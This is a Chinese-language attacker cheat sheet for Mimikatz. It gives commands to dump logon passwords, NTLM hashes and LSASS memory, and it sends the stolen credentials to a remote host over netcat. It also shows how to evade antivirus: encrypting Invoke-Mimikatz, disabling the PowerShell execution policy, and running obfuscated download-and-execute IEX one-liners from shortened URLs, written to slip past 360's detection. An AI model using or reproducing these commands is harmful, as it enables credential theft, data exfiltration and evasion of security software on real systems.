mimikatz
privilege::debug #提權命令
sekurlsa::logonPasswords #抓取密碼
winmine::infos #掃雷作弊
lsadump::lsa /patch #獲取當前此計算機存在過用戶的NTLMHASH
procdump64.exe -accepteula -ma lsass.exe lsass.dmp #導出為lsass.dump文件
sekurlsa::minidump lsass.dmp #配合procdumo將李颯颯啊、進程內存文件導出到本地,並利用mimikatz進行密碼的讀取
sekurlsa::minidump logonPasswords full
配合使用:
將輸出傳輸到遠程機器:
nc -lvp 4444
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.114.136 4444
通過nc遠程執行Mimikatz:
nc -lvp 443
nc.exe -vv 192.168.114.136 443 -e mimikatz.exe
當無法抓取新密碼的時候:
privilege::debug
misc::memssp
其他功能:
system::user #查看當前登錄的系統用戶
system::computer #返回當前的計算機名稱
ts::sessions #顯示當前的會話
ts::processes windows-d.vm.nirvana.local %顯示服務器的進程和對應的pid情況等。
免殺
Get-ExecutionPolicy #結果顯示restricted
Set-ExecutionPolicy Unrestricted #打開限制
Import-Module ./xencrypt.ps1 #加密invoke-mimikatz.ps1
Invoke-Xencrypt -InFile C:\Users\Dell\Desktop\工具集\一句話連接,菜刀冰蠍\xencrypt-master\Invoke-Mimikatz.ps1 -OutFile C:\Users\Dell\Desktop\工具集\一句話連接,菜刀冰蠍\xencrypt-master\xenmimi.ps1
usage:
Import-Module .\xenmimi.ps1
Invoke-Mimikatz
通過-Iterations標志支持遞歸分層加密:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
usage:
Import-Module .\xenmimi.ps1
Invoke-Mimikatz
遠程加載/Powershell免殺
powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz-DumpCreds"
此時360判斷為PowerShell下載攻擊並彈窗,360針對powershell的http協議下載查殺,但是檢查內容只是命令中出現http,所以只需要一步簡單的替換即可繞過('htxtp://is.gd/oeoFuI' -replace 'x','')。
也可以簡單混淆:
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
#在Windows server 2008 及之前 可以使用此命令
powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));Invoke-Mimikatz -DumpCreds"
這樣就好了。
powershell加載exe進內存運行需要PowerSploit中的Invoke-ReflectivePEInjection腳本。
powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace'x',''));Invoke-ReflectivePEInjection -PEUrlhttp://x.x.x.x/mimikatz.exe-ExeArgs"sekurlsa::logonpasswords" -ForceASLR
#Windows server 2009 及之后
powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"
msf使用
在meterpreter中加載mimikatz模塊
load mimikatz